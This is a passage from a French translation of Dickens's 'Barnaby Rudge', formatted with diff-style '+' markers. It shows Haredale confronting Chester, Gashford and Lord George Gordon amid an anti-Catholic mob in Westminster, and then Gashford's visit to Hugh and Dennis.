+essayait de lire, mais sans pouvoir jamais y fixer les yeux ou sa
+pensée cinq minutes de suite. Le plus léger bruit au dehors
+frappait son oreille: il semblait qu'il ne pouvait pas résonner un
+pas sur le trottoir qui ne lui fit bondir le coeur.
+
+Il ne passait pas ces longues heures de solitude sans rien
+prendre. Il portait généralement dans sa poche un sandwich au
+jambon, avec un petit flacon de vin, dont il se versait quelques
+gouttes dans une grande quantité d'eau, et il buvait ce sobre
+breuvage avec une ardeur fiévreuse, comme s'il avait la gorge
+desséchée; mais il était rare qu'il prit une miette de pain pour
+déjeuner.
+
+S'il était vrai, comme le serrurier, après mûre réflexion,
+paraissait disposé à le croire, que ce sacrifice volontaire de
+sommeil et de bien-être dût être attribué à l'attente
+superstitieuse de l'accomplissement d'une vision ou d'un rêve en
+rapport avec l'événement qui l'avait occupé tout entier depuis
+tant d'années; s'il était vrai qu'il attendit la visite de quelque
+revenant qui courait les champs à l'heure où les gens sont
+tranquillement endormis dans leur lit, il ne montrait toujours
+aucune trace de crainte ou d'hésitation. Ses traits sombres
+exprimaient une résolution inflexible; ses sourcils froncés, ses
+lèvres serrées, annonçaient une décision ferme et profonde; et,
+quand il tressaillait au moindre bruit, l'oreille aux aguets, ce
+n'était point du tout le tressaillement de la peur, c'était plutôt
+celui de l'espérance: car aussitôt il saisissait son épée, comme
+si l'heure était enfin venue; puis il la serrait à poing fermé, et
+écoutait avidement, l'oeil étincelant et l'air impatient, jusqu'à
+ce qu'il n'entendît plus rien.
+
+Ces désappointements étaient fréquents, car ils se renouvelaient à
+chaque son extérieur; mais sa constance n'en était point ébranlée.
+Toujours, toutes les nuits, il était là à son poste, comme une
+sentinelle lugubre et sans sommeil. La nuit se passait, le jour
+venait: il veillait toujours.
+
+Et cela bien des semaines. Il avait pris un logement garni au
+Vauxhall pour y passer la journée et goûter quelque repos; c'est
+de là qu'à la faveur de la marée il venait, ordinairement par eau,
+de Westminster à London-Bridge, pour éviter les rues populeuses.
+
+Un soir, peu de temps avant le crépuscule, il suivait sa route
+accoutumée le long de la rivière, dans l'intention de passer par
+la salle de Westminster-Hall, puis par la cour du palais, pour
+aller prendre, comme d'habitude, le bateau de London-Bridge. Il y
+avait pas mal de gens rassemblés autour des Chambres, pour voir
+entrer et sortir les membres du Parlement, qu'ils accompagnaient
+de leurs acclamations bruyantes, d'approbations ou de sifflets,
+selon leurs opinions connues. En traversant la foule il entendit
+deux ou trois fois pousser le cri de: «Pas de papisme!» qui
+n'était pas nouveau pour ses oreilles; mais il n'y fit seulement
+pas attention, en voyant qu'il partait d'un attroupement de
+fainéants de bas étage; et, sans en prendre aucun souci, il
+continua son chemin avec la plus parfaite indifférence.
+
+Il y avait dans la salle de Westminster de petits groupes épars au
+milieu desquels les uns, en petit nombre, levaient les yeux vers
+la voûte majestueuse de l'édifice, éclairée par les derniers feux
+du soleil couchant, dont les rayons obliques coloraient ses
+vitraux, avant de s'éteindre tout à fait dans l'ombre. D'autres,
+des passants bruyants, des ouvriers qui retournaient chez eux en
+sortant de leurs ateliers, pressaient le pas, éveillant de leurs
+voix animées les échos sonores, et bouchant le jour de la petite
+porte lointaine, quand ils défilaient devant pour continuer leur
+route. D'autres, en conversation réglée sur des sujets politiques
+ou personnels, se promenaient lentement de long en large, les yeux
+fixés sur le sol, et semblaient être tout oreilles depuis les
+pieds jusqu'à la tête, pour écouter ce qui se disait. Ici une
+demi-douzaine de gamins se chamaillaient ensemble, de manière à
+faire de Westminster une vraie tour de Babel; là un homme isolé,
+demi-clerc et demi-mendiant, se promenait à pas comptés, épuisé
+par la faim qui perçait dans le désespoir de ses traits; coudoyé,
+en passant, par un petit garçon chargé de quelque commission,
+dandinant son panier, et fendant, de ses cris perçants, la
+charpente même du plafond; pendant qu'un écolier, plus discret et
+surtout plus prudent, s'arrêtait à mi-chemin pour remettre sa
+balle dans sa poche, à la vue du bedeau qui arrivait de loin en
+grondant. C'était l'heure de la soirée où, rien que le temps de
+fermer les yeux, on trouve en les rouvrant que l'obscurité a fait
+des progrès. La dalle, usée par les pas qui la réduisaient en
+poussière, faisait un appel aux murs élevés de l'enceinte pour
+répéter le bruit retentissant des pieds toujours en mouvement, à
+moins qu'il ne fût dominé tout à coup par la chute de quelque
+lourde porte retombant contre le bâtiment, comme un coup de
+tonnerre, qui noyait tous les autres bruits dans son fracas
+éclatant.
+
+M. Haredale, donnant à peine un coup d'oeil à ces groupes en
+passant, et un coup d'oeil distrait, avait déjà presque traversé
+la salle, lorsque son attention fut attirée par deux personnes
+debout devant lui. L'une d'elles, un gentleman d'une mise
+élégante, portait à la main une badine qu'il faisait tourner, en
+se promenant, de la façon la plus fashionable; l'autre l'écoutait
+d'un air de chien couchant, avec des manières obséquieuses et
+rampantes: c'était à peine s'il se permettait de glisser un mot
+dans leur colloque. La tête rentrée dans les épaules jusqu'aux
+oreilles, il se frottait les mains avec une basse complaisance, ou
+répondait de temps en temps par une simple inclination de tête,
+qui tenait un juste milieu entre un signe d'approbation et une
+plate révérence.
+
+Après tout, ces deux hommes n'offraient rien de bien remarquable:
+car ce n'est déjà pas si rare de voir des gens faire une cour
+servile à un bel habit accompagné d'une canne, sans vouloir parler
+ici des cannes à pommes d'or ou d'argent de nos seigneurs les
+lords, ni des baguettes officielles de nos magistrats. Et
+pourtant, dans ce monsieur bien mis, et aussi dans l'autre, il y
+avait quelque chose qui fit éprouver à M. Haredale une sensation
+désagréable. Il hésita, s'arrêta, et se disposait à se jeter de
+côté pour éviter leur rencontre, lorsque, au même moment, les deux
+autres, s'étant retournés vivement, se trouvèrent face à face avec
+lui avant qu'il eût pu leur échapper.
+
+Le gentleman à la canne leva son chapeau et commençait à s'excuser
+de ce choc imprévu; M. Haredale se hâtait d'accepter l'explication
+et de s'évader, quand le premier s'arrêta tout court et s'écria:
+«Tiens! c'est Haredale! Parbleu! voilà qui est étrange!
+
+-- C'est vrai, répondit-il avec impatience. Oui, je...
+
+-- Mon cher ami, cria l'autre en le retenant, comme vous êtes
+pressé! Une minute, Haredale, au nom de notre ancienne
+connaissance.
+
+-- Je suis pressé, en effet. Nous ne désirions cette rencontre ni
+l'un ni l'autre. Nous n'avons rien de mieux à faire que de
+l'abréger. Bonsoir.
+
+-- Fi! fi! répliqua sir John, car c'était lui, vous êtes aussi
+trop maussade. Justement nous parlions de vous. J'avais encore
+votre nom sur les lèvres; peut-être même me l'avez-vous entendu
+prononcer... Non? J'en suis fâché, j'en suis vraiment fâché. Vous
+reconnaissez notre ami ici présent, Haredale? convenez que c'est
+une singulière rencontre.»
+
+L'ami en question, évidemment mal à son aise, avait pris la
+liberté de serrer le bras de sir John et de lui faire entendre,
+par toute sorte d'autres signes, qu'il désirait éviter cette
+présentation. Mais comme cela n'entrait pas dans les vues de sir
+John, il n'eut pas l'air de s'apercevoir de ces supplications
+muettes, et le montra de la main, en même temps qu'il disait
+«notre ami,» pour appeler plus particulièrement sur lui
+l'attention.
+
+Notre ami n'eut donc plus d'autre ressource que d'étaler sur son
+visage le plus brillant sourire dont il pouvait disposer, et de
+faire une révérence propitiatoire au moment où M. Haredale tourna
+sur lui ses yeux. Se voyant reconnu, il avança la main d'un air de
+gaucherie et d'embarras, qui ne fit qu'augmenter lorsque Haredale
+la rejeta d'un air de mépris, en disant froidement:
+
+«M. Gashford! Alors on ne m'avait pas trompé. Il paraît, monsieur,
+que vous avez décidément jeté le masque, et que vous poursuivez à
+présent avec l'ardeur amère d'un renégat ceux dont les opinions
+étaient autrefois les vôtres. Grand honneur pour la cause que vous
+embrassez, monsieur! Je fais mon compliment à celle que vous venez
+d'épouser, d'avoir fait, une pareille acquisition.»
+
+Le secrétaire se frottait les mains avec force révérences, comme
+pour désarmer son adversaire en s'humiliant devant lui. Sir John
+Chester s'écriait de l'air le plus réjoui: «Vraiment, il faut
+convenir que c'est une singulière rencontre!» Et là-dessus il
+prenait dans sa tabatière une prise de tabac avec son calme
+ordinaire.
+
+«M. Haredale, dit M. Gashford, levant les yeux en cachette et les
+baissant tout de suite après, quand ils eurent rencontré le regard
+fixe et ferme du premier, M. Haredale est trop consciencieux, trop
+honorable, trop sincère, assurément, pour attribuer à d'indignes
+motifs un changement d'opinions plein de loyauté, même quand ces
+opinions nouvelles ne seraient pas d'accord avec celles qu'il
+professe lui-même; M. Haredale est trop juste, trop généreux,
+d'une intelligence trop éclairée, pour...
+
+-- Ah! vraiment, monsieur? reprit l'autre avec un sourire
+sarcastique en le voyant s'arrêter embarrassé. Vous disiez
+donc...?
+
+Gashford haussa légèrement les épaules et, baissant encore les
+yeux sur les dalles, garda le silence.
+
+«Non; mais, réellement, dit John venant alors à son aide,
+convenons que c'est une rencontre tout à fait singulière.
+Haredale, mon cher ami, pardon; je ne crois pas que vous soyez
+frappé, comme il faut l'être, de ce qu'elle a de remarquable.
+Voyez un peu: nous voici là, sans rendez-vous préalable, trois
+anciens camarades de collège, réunis dans la salle de Westminster;
+trois anciens pensionnaires du triste et ennuyeux séminaire de
+Saint-Omer, où vous deux vous étiez obligés, par votre titre de
+catholiques, de faire votre éducation, et où moi, l'une des
+espérances en herbe du parti protestant de ce temps-là, j'avais
+été envoyé pour prendre des leçons de français d'un Parisien pur
+sang.
+
+-- Vous pourriez ajouter une particularité qui rend la chose
+encore plus singulière, sir John, dit M. Haredale: c'est que
+quelques-unes de ces espérances en herbe du parti protestant sont
+en ce moment liguées dans l'édifice là-bas pour nous dépouiller du
+privilège abusif et monstrueux d'apprendre à nos enfants à lire et
+à écrire; c'est que, dans ce pays de liberté prétendue, en
+Angleterre même, où nous entrons par milliers tous les ans dans
+vos troupes pour défendre votre liberté, et pour aller mourir en
+masse à votre service dans les sanglantes batailles du continent,
+vous aussi, par milliers, à ce que j'entends dire, vous vous
+laissez persuader par ce M. Gashford, qu'il faut nous regarder
+tous comme des loups et des bêtes fauves. Vous pourriez ajouter
+encore que cela n'empêche pas cet homme-là d'être reçu dans votre
+société, de se promener tranquillement par les rues en plein jour,
+la tête levée (pas comme en ce moment): et je vous réponds que ce
+n'est pas la particularité la moins étrange de cette étrange
+rencontre.
+
+-- Oh! vous êtes bien sévère pour notre ami, répliqua sir John
+avec un sourire engageant; vraiment, je vous trouve bien sévère
+avec notre ami.
+
+«Laissez-le continuer, sir John, dit Gashford en tripotant ses
+gants, laissez-le continuer, j'y mettrai de la patience, sir John.
+Quand on a l'honneur de votre estime, on peut se passer de celle
+de M. Haredale. M. Haredale est un des hommes qui se sentent
+atteints par nos lois pénales, et naturellement je ne dois pas
+m'attendre à me voir en faveur auprès de lui.
+
+-- Ma faveur! monsieur, repartit Haredale, jetant un regard amer à
+l'autre interlocuteur, elle vous est au contraire si bien acquise,
+que je suis charmé de vous voir en si bonne compagnie. N'êtes-
+vous, pas à vous deux, l'essence de votre fameuse _Association_?
+
+-- Je dois vous dire, reprit sir John de son air le plus
+doucereux, qu'ici vous faites une méprise. C'est de votre part,
+pour un homme aussi exact et aussi judicieux, une erreur qui
+m'étonne. Je n'appartiens pas à l'Association dont vous parlez; je
+professe un immense respect pour ses membres, mais je n'en fais
+pas partie, quoique je sois, il est vrai, opposé par conscience à
+ce qu'on vous rende vos droits. Je regarde cela comme mon devoir,
+j'en ai beaucoup de regret; mais c'est une nécessité fâcheuse, et
+qui me coûte plus que vous ne pensez... Voulez-vous une prise? si
+vous ne voyez pas d'inconvénient à prendre cette légère infusion
+d'un parfum innocent, vous en trouverez l'arôme exquis, j'en suis
+sûr.
+
+-- Pardon, sir John, dit Haredale en faisant signe qu'il n'en
+usait pas, pardon de vous avoir mis au rang des humbles
+instruments qui travaillent au grand jour. J'aurais dû faire plus
+d'honneur à votre génie. Les hommes de votre capacité se
+contentent de comploter impunément dans l'ombre et de laisser
+leurs enfants perdus exposés au premier feu des mécontents.
+
+-- Comment donc! répliqua sir John, toujours avec la même douceur,
+vous n'avez pas besoin de vous excuser. Ce serait bien le diable
+si de vieux amis comme vous et moi ne pouvaient pas se passer
+quelques libertés.»
+
+Gashford, qui avait été tout ce temps-là dans une agitation
+perpétuelle, mais sans lever les yeux, se tourna enfin vers sir
+John et se hasarda à lui glisser à l'oreille qu'il était obligé de
+partir, pour ne pas faire attendre milord.
+
+«Vous n'avez que faire de vous tourmenter, mon bon monsieur, lui
+dit M. Haredale; je vais vous quitter pour vous mettre plus à
+l'aise.» Et c'est ce qu'il allait faire sans plus de cérémonie,
+lorsqu'il fut arrêté par un murmure et un bourdonnement qui
+partaient du bout de la salle; et, jetant les yeux dans cette
+direction, il vit arriver lord Georges Gordon, entouré d'une foule
+de gens.
+
+La figure de ses deux compagnons laissa percer, chacun à sa
+manière, une expression de triomphe secret, qui donna
+naturellement à M. Haredale l'envie de ne point se déranger devant
+ce chef de parti, et de l'attendre de pied ferme sur son passage.
+Il se redressa donc, et, croisant ses bras derrière son dos, prit
+une attitude fière et méprisante, pendant que lord Georges
+s'avançait lentement, à travers la foule qui se pressait autour de
+lui, juste vers l'endroit où les trois interlocuteurs étaient
+réunis.
+
+Il venait de quitter à l'instant la chambre des Communes, et était
+venu tout droit à la salle du palais, répandant, selon sa coutume,
+le long de son chemin, la nouvelle de ce qui avait été dit, le
+soir même, relativement aux papistes, des pétitions présentées en
+leur faveur, des personnes qui les avaient appuyées, du jour où
+l'on passerait le bill, et du moment opportun qu'il faudrait
+choisir pour présenter à leur tour leur grande pétition
+protestante. Il débitait tout cela aux personnes qui
+l'entouraient, en élevant la voix et ne ménageant pas les gestes.
+Ceux qui se trouvaient le plus près de lui se communiquaient leurs
+commentaires, et laissaient éclater des menaces et des murmures;
+ceux qui étaient en arrière de la foule criaient: «Silence,» ou
+bien: «Ne fermez donc pas le passage,» ou se pressaient contre les
+autres pour tâcher de leur prendre leurs places; en un mot, ils
+avançaient péniblement, de la façon la plus irrégulière et la plus
+désordonnée, comme fait toujours la foule.
+
+Quand ils furent arrivés près de l'endroit où se tenaient le
+secrétaire, sir John et M. Haredale, lord Georges se retourna en
+faisant quelques réflexions incohérentes d'une nature assez
+violente, finit par le cri banal de «À bas les papistes!» et
+demanda aux assistants trois salves de hourras pour appuyer sa
+motion. Pendant qu'on s'empressait, autour de lui, d'y répondre
+avec une grande énergie, il se débarrassa de la multitude et
+s'avança auprès de Gashford. Comme ils étaient tous les deux,
+ainsi que sir John, bien connus de la populace, elle fit un pas en
+arrière pour les laisser tous quatre ensemble.
+
+«Voici M. Haredale, lord Georges, lui dit sir John Chester, voyant
+que le noble lord regardait l'inconnu d'un oeil scrutateur, un
+gentleman catholique malheureusement... je regrette beaucoup qu'il
+soit catholique... mais c'est une de mes connaissances que
+j'estime beaucoup, une ancienne connaissance aussi de M. Gashford.
+Mon cher Haredale, voici lord Georges Gordon.
+
+-- J'aurais reconnu tout de suite Sa Seigneurie, quand je ne
+l'aurais jamais vue auparavant, dit M. Haredale. J'espère qu'il
+n'y a pas deux gentilshommes en Angleterre qui, en s'adressant à
+une populace ignorante et passionnée, fussent capables de lui
+parler dans les termes injurieux que je viens d'entendre, d'une
+part considérable de leurs concitoyens. Fi! milord, fi!
+
+-- Je n'ai rien à vous dire, monsieur, répliqua lord Georges à
+haute voix, en agitant la main avec un trouble visible; il n'y a
+rien de commun entre nous.
+
+-- Il y a bien des choses au contraire qui devraient être communes
+entre nous, dit M. Haredale; je puis dire même que Dieu nous a
+donné tout en commun... la charité commune à tous les hommes, le
+sens commun, les notions les plus communes des convenances qui
+devraient vous interdire une pareille conduite. Quand chacun de
+ces hommes que vous avez là autour de vous aurait des armes dans
+les mains, comme ils les portent déjà dans le coeur, je ne
+quitterais pas la place sans vous dire que vous déshonorez votre
+rang.
+
+-- Je ne vous entends pas, monsieur, répliqua-t-il encore du même
+ton; je ne veux pas vous entendre, je me moque bien de ce que vous
+dites. Gashford, ne répliquez pas (en effet le secrétaire faisait
+mine de vouloir répondre), je n'ai rien de commun avec les
+adorateurs des idoles.»
+
+À ces mots il lança un coup d'oeil à sir John, qui leva les mains
+et les sourcils, comme pour déplorer la conduite téméraire de
+M. Haredale, en même temps qu'il adressait à la foule et à son
+chef un sourire d'admiration.
+
+«Lui! me répliquer! cria Haredale en toisant Gashford des pieds à
+la tête. Un homme qui a commencé par être un voleur, quand il
+n'était pas plus haut que cela; qui, depuis, est devenu le fripon
+le plus servile, le plus faux, le plus éhonté! un homme qui a
+rampé à plat ventre toute sa vie, déchirant la main qu'il léchait
+et mordant ceux qu'il flattait! Un sycophante qui n'a su, de sa
+vie ni de ses jours, ce que c'est qu'honneur, vérité, courage;
+qui, après avoir ravi l'innocence à la fille de son bienfaiteur,
+l'a épousée pour lui briser le coeur par ses cruels traitements!
+Un chien couchant qui allait remuer la queue à la fenêtre de la
+cuisine pour attraper un morceau de pain! un mendiant qui
+demandait trois pence à la porte de nos églises! Voilà l'apôtre de
+foi dont la conscience délicate renie les autels où la honte de sa
+vie a été publiquement dénoncée!... À présent, vous reconnaissez
+l'homme.
+
+-- Oh! réellement... vous êtes trop, trop sévère avec notre ami,
+s'écria sir John.
+
+-- Laissez continuer M. Haredale, dit Gashford, dont la hideuse
+figure était, pendant tout ce temps-là, trempée et dégouttante de
+sueur, il peut bien dire tout ce qu'il voudra, cela m'est aussi
+indifférent qu'à milord. S'il traite milord lui-même comme vous
+venez de l'entendre, comment voulez-vous que moi je n'y passe pas
+à mon tour?
+
+-- Ce n'est pas assez, milord, continua M. Haredale, que moi, un
+aussi bon gentilhomme que vous, je ne puisse plus garder ma
+propriété, quelle qu'elle soit, que par une connivence de l'État,
+effrayé lui-même des lois cruelles dirigées contre nous; que nous
+ne puissions plus faire apprendre à nos enfants, dans les écoles,
+les premiers éléments du bien et du mal: il faut encore qu'on
+lâche après nous des dénonciateurs comme cet homme-là! En voilà un
+brillant chef de file pour donner le signal à vos cris de: «Pas de
+papistes!» Fi donc! fi donc!»
+
+La noble dupe, lord Georges Gordon, avait plus d'une fois regardé
+du côté de sir John Chester, pour lui demander s'il y avait
+quelque chose de vrai dans ce qu'on disait là de Gashford, et
+chaque fois sir John lui avait répondu en haussant les épaules et
+en lui faisant des yeux qui voulaient dire; «Oh ciel! non,» Alors
+milord reprit, toujours aussi haut et avec la même affectation que
+tout à l'heure:
+
+«Monsieur, je n'ai rien à vous répondre, et ne me soucie pas d'en
+entendre davantage. Je vous prie de ne pas m'imposer votre
+conversation, et de ne point me mêler dans vos attaques
+personnelles. Je ferai mon devoir envers mon pays et mes
+compatriotes, et ce n'est point par de telles violences qu'on m'en
+empêchera, qu'elles viennent ou non des émissaires du pape, je
+vous en réponds; venez, Gashford.»
+
+Ils avaient fait quelques pas, tout en parlant, et ils étaient
+arrivés à la porte de la salle, par laquelle ils passèrent
+ensemble. M. Haredale, sans un mot d'adieu, tourna du côté de
+l'escalier de la Tamise dont il était près, et appela le seul
+batelier qui se trouvât encore au bas.
+
+Mais la populace, dont l'avant-garde n'avait pas perdu une parole
+de lord Georges Gordon, et dans laquelle avait promptement circulé
+le bruit que l'étranger était un papiste qui venait d'insulter
+milord pour s'être fait l'avocat de la cause populaire, se
+précipita pêle-mêle et, poussant devant elle le noble lord, son
+secrétaire et sir John Chester, qui avaient l'air d'être à sa
+tête, se réunit en foule au haut de l'escalier où M. Haredale
+attendait que le bateau fut prêt, et là se tint tranquille,
+laissant entre elle et lui un espace vide.
+
+Mais si elle était inactive, elle n'était pas pour cela
+silencieuse. Il commença par s'élever au milieu d'eux quelques
+murmures indistincts, suivis de quelques sifflets, qui bientôt
+eux-mêmes se transformèrent en un orage violent. Alors on entendit
+une voix crier: «À bas les papistes!» et tout le monde fit chorus,
+rien de plus. Quelques moments après un homme se mit à crier: «Il
+faut le lapider;» un autre: «Il faut lui donner un plongeon;» un
+autre d'une voix de stentor: «Pas de papisme!» les autres
+répétèrent en écho ce cri favori que la foule (environ deux cents
+braillards) accueillit par une acclamation générale.
+
+M. Haredale était resté calme jusque-là sur le bord des marches:
+en entendant cette manifestation, il leur jeta à la ronde un
+regard de mépris et descendit lentement l'escalier. Il était déjà
+près du bateau, quand Gashford se retourna de côté, d'un air
+innocent, et aussitôt une main se leva dans la foule et lança à
+M. Haredale une grosse pierre qui le frappa à la tête, et le fit
+chanceler sur ses pieds comme un homme ivre.
+
+Le sang jaillit à l'instant de sa blessure et coula le long de ses
+vêtements. Il se retourna tout de suite et, remontant les marches
+avec une audace et une colère qui les fit tous reculer:
+
+«Qui est-ce qui a fait cela? demanda-t-il. Qu'on me montre celui
+qui m'a visé.»
+
+Pas une âme ne bougea; et pourtant, je me trompe, il y eut un
+homme ou deux sur les derrières qui s'esquivèrent et se glissèrent
+de l'autre côté, où ils se mirent à regarder, les mains dans les
+poches, comme des spectateurs indifférents.
+
+«Qui est-ce qui a fait cela? répéta-t-il. Qu'on me montre celui
+qui l'a fait. Misérable chien que vous êtes, est-ce vous? Le coup
+part de votre tête, si ce n'est pas de votre bras..., je vous
+connais.»
+
+À ces mots, il se jeta sur Gashford et le jeta à ses pieds, il y
+eut un mouvement soudain dans la foule, et plusieurs bras se
+levèrent contre lui; mais en voyant son épée nue, tous reculèrent
+encore.
+
+«Milord, sir John, criait-il, allons! Dégainez donc, l'un ou
+l'autre; c'est vous qui me devez raison de cet outrage, et me
+voilà en face de vous. Allons! l'épée au poing, si vous êtes des
+gentilshommes.»
+
+En même temps, il frappait la poitrine de sir John du plat de sa
+lame, et se mettait en garde, la figure enflammée, l'oeil
+étincelant, seul contre tous.
+
+Un instant, un instant seulement, aussi rapide que la pensée, on
+vit passer sur la doucereuse figure de sir John un éclair sombre
+que personne n'y avait vu jamais. Le moment d'après, il fit un pas
+en avant, étendit une main sur l'arme de M. Haredale, pendant que
+de l'autre il essayait d'apaiser la foule.
+
+«Mon cher ami, mon bon Haredale, vous êtes aveuglé par la colère;
+c'est bien naturel, extrêmement naturel, mais cela vous empêche de
+reconnaître même vos amis d'avec vos ennemis.
+
+-- Que si, que je les reconnais bien, n'ayez pas peur que je m'y
+trompe, répliqua-t-il, presque fou de fureur. Sir John, lord
+Georges, est-ce que vous ne m'avez pas entendu? Vous êtes donc des
+lâches!
+
+-- Allons, allons! dit un homme qui perça la foule et le poussa
+doucement devant lui vers le bas des escaliers; ne parlons plus de
+cela. Au nom du ciel, allez-vous-en. Que diable voulez-vous faire
+en face de tous ces gens-là? et ne voyez-vous pas qu'il y en a
+deux fois autant dans la rue voisine, qui vont tomber sur vous
+dans un moment?» Et, en effet, on les voyait accourir. «Vous
+n'auriez pas poussé la première botte, que vous tomberiez étourdi
+du coup de pierre que vous venez de recevoir. Voyons! retirez-
+vous, monsieur, ou je vous promets que vous allez vous faire
+écharper. Venez, monsieur, dépêchez-vous... plus vite que ça.»
+
+M. Haredale, qui commençait à se sentir tourner le coeur, reconnut
+la justesse de cet avis et descendit les marches avec l'assistance
+de son ami inconnu. John Grueby (car c'était lui) le fit monter
+dans le bateau qu'il poussa du pied, l'envoyant du coup à trente
+pieds du rivage, et recommanda au batelier de gagner au large
+hardiment; puis il remonta avec autant de calme et de sang-froid
+que s'il venait de débarquer.
+
+La populace montra d'abord quelque velléité de lui faire payer son
+intervention dans l'affaire; mais, comme John avait l'air solide
+et de sang-froid, comme d'ailleurs il portait la livrée de lord
+Georges, on se ravisa, et l'on se contenta d'envoyer de loin,
+après le bateau, une grêle de cailloux qui firent sur l'eau des
+ricochets innocents: car la barque, pendant ce temps-là, avait
+passé le pont, et glissait à toutes rames au milieu du courant.
+
+Après cette récréation, les gens de la foule s'en retournèrent,
+donnant, sur leur chemin, des coups de marteau à la protestante
+dans les portes des catholiques, cassant quelques lanternes et
+rossant quelques constables égarés. Mais, en entendant annoncer à
+voix basse qu'il arrivait un détachement des gardes du roi, ils
+prirent leurs jambes à leur col, et la rue fut balayée en un
+moment.
+
+
+
+
+CHAPITRE II.
+
+
+Après que le rassemblement se fut dispersé, se dirigeant, par
+petits groupes fortuits, dans différentes directions, il ne resta
+plus, sur le lieu de la scène du dernier événement, qu'un homme;
+c'était Gashford. Tout meurtri de sa chute, mais plus abattu
+encore par la honte, et furieux de la flétrissure qu'il venait de
+subir, il s'en allait boitant de droite et de gauche, ne respirant
+que malédictions, menaces et vengeance.
+
+Le secrétaire n'était pas homme à épuiser sa colère en vaines
+paroles. Tout en évaporant, dans ces effusions violentes, les
+premières bouffées de sa haine, il suivait d'un oeil ferme deux
+hommes qui, après avoir disparu avec les autres, quand on avait
+sonné l'alarme, étaient revenus depuis, et se montraient à présent
+au clair de la lune, errant et causant ensemble, à quelque
+distance, sur la place.
+
+Il ne fit pas un mouvement pour s'avancer vers eux, mais il
+attendit patiemment, dans le côté sombre de la rue, qu'ils fussent
+las de se promener de long en large et qu'ils fussent partis de
+compagnie. Alors il les suivit, mais d'un peu loin, ne les perdant
+pas de vue, mais sans le faire paraître, et surtout sans se
+laisser voir à ces deux personnages.
+
+Ils montèrent dans la rue du Parlement, passèrent devant l'église
+Saint-Martin, tournèrent Saint-Gilles, gagnèrent la route de
+Tottenham-Court, derrière laquelle se trouvait alors, à l'ouest,
+une place appelée _les Chemins verts_. C'était un endroit retiré,
+assez mal famé, qui conduisait dans la campagne. De gros tas de
+cendres, des mares d'eau stagnante, une végétation de mouron et de
+chiendent; des tourniquets cassés, quelques pieux de barricades
+encore fichés en terre, après que les gens en avaient, depuis
+longtemps, emporté les barreaux pour faire du feu avec, et
+menaçant d'accrocher de leurs clous rouillés le promeneur distrait
+qui passait par là: voilà les traits les plus remarquables du
+tableau que présentait ce paysage. Seulement, çà et là, un baudet
+ou une rosse décrépite, attachés par la longe à un piquet, pour se
+régaler des misérables touffes d'herbe rabougrie qu'ils pourraient
+disputer au sol rude et pierreux, étaient en parfaite harmonie
+avec le reste et annonçaient clairement, quand les maisons ne
+l'auraient pas assez fait connaître par elles-mêmes, la pauvreté
+des gens qui vivaient là dans les buttes crevassées du voisinage,
+et la témérité qu'il y aurait à un homme qui aurait de l'argent
+dans ses poches, ou une mise cossue, de s'aventurer par là tout
+seul, autrement qu'en plein jour.
+
+Les pauvres sont, à certains égards, comme les riches: ils ont
+aussi leurs caprices en fait de goût. Il y avait de ces cabanes
+avec de petites tourelles; il y en avait d'autres qui avaient de
+fausses fenêtres peintes sur leurs murailles en ruine. L'une
+d'elles soutenait un joujou de clocher sur une tour caduque de
+quatre pieds de haut, qui servait à dérober aux yeux la cheminée.
+Il n'en était pas une qui n'eût, dans le petit morceau de terre
+devant la maison, un banc rustique ou un berceau. La population du
+lieu faisait le commerce d'os, de chiffons, de verres cassés, de
+vieilles roues, de chiens et d'oiseaux. Tous ces divers objets,
+distribués sans ordre, emplissaient les jardins et répandaient un
+parfum qui n'était pas des plus délicieux, dans l'air agité
+d'ailleurs par des aboiements, des cris, des hurlements.
+
+C'est dans ce refuge que le secrétaire suivit les deux hommes
+qu'il n'avait pas perdus de vue; c'est là qu'il les vit entrer
+chez eux dans une des maisons les plus misérables, qui ne se
+composait que d'une chambre, et encore assez petite. Il attendit
+dehors, jusqu'à ce que le bruit de leurs voix, mêlé à des chants
+discordants, lui eût fait connaître qu'ils étaient en belle
+humeur; et alors, s'approchant de la porte, au moyen d'une planche
+vacillante placée en travers sur le fossé, il frappa avec la main.
+
+«Monsieur Gashford! dit l'homme qui vint ouvrir, retirant sa pipe
+de ses dents avec une surprise évidente. Par exemple, nous ne nous
+serions jamais attendus à tant d'honneur. Entrez, monsieur
+Gashford... entrez, monsieur.»
+
+Gashford, sans se le faire dire deux fois, entra d'un air
+gracieux. Il y avait du feu dans la grille couverte de rouille;
+car, en dépit du printemps qui était déjà bien avancé, les nuits
+étaient fraîches, et Hugh s'y chauffait, en fumant sa pipe sur un
+tabouret, Dennis approcha une chaise, son unique chaise, pour le
+secrétaire, devant le foyer, et reprit lui-même sa place sur le
+tabouret qu'il avait quitté pour aller ouvrir au visiteur
+nocturne.
+
+«Qu'est-ce qu'il y a donc de nouveau, monsieur Gashford? dit-il en
+reprenant sa pipe et le regardant de côté. Est-il venu des ordres
+du quartier général? Allons-nous nous mettre en train? Contez-nous
+ça, monsieur Gashford.
+
+-- Oh! rien, rien, dit le secrétaire en lui faisant un signe de
+tête amical. Mais c'est égal, voilà la glace rompue; nous avons
+commencé la danse aujourd'hui... n'est-ce pas, Dennis?
+
+-- Un bien petit commencement! répondit en grognant le bourreau;
+il n'y en a pas pour ma dent creuse.
+
+-- Ni moi non plus, cria Hugh. Donnez-nous seulement quelque chose
+à faire où il y ait une vie au bout... oui, une vie au bout, notre
+bourgeois. Ha! ha!... à la bonne heure!
+
+-- Mais, dit le secrétaire, de son expression de physionomie la
+plus hideuse et de son ton de voix le plus doux, vous ne voudriez
+pas que je vous donnasse quelque chose à faire avec la mort... la
+mort d'un homme au bout?
+
+-- Je ne connais pas tout ça, répliqua Hugh. Je ne connais que ma
+consigne. Je m'en moque pas mal, moi.
+
+-- Et moi donc? vociféra Dennis.
+
+-- Les braves garçons! dit le secrétaire, d'une voix aussi
+pastorale que s'il recommandait au prône quelque rare merveille de
+valeur et de générosité. À propos...» Et ici il s'arrêta un
+moment, pour se chauffer les mains; puis les regardant en face
+soudainement: «Qui est-ce donc qui a jeté cette pierre
+aujourd'hui?
+
+M. Dennis toussa et branla la tête, comme pour dire: «Ça, c'est un
+mystère.» Hugh restait assis et fumait en silence.
+
+«Pas mal visé, dit le secrétaire, se chauffant encore les mains
+devant le feu. Je voudrais bien connaître le gaillard qui a fait
+ce coup-là.
+
+-- Est-ce vrai? dit Dennis après l'avoir regardé en face, pour
+s'assurer qu'il parlait sérieusement. Est-ce que réellement vous
+tenez à le connaître, monsieur Gashford?
+
+-- Certainement, répliqua le secrétaire.
+
+-- Eh bien! sur l'honneur, dit le bourreau en riant de la gorge,
+et en montrant Hugh du bout de sa pipe, vous le voyez assis là:
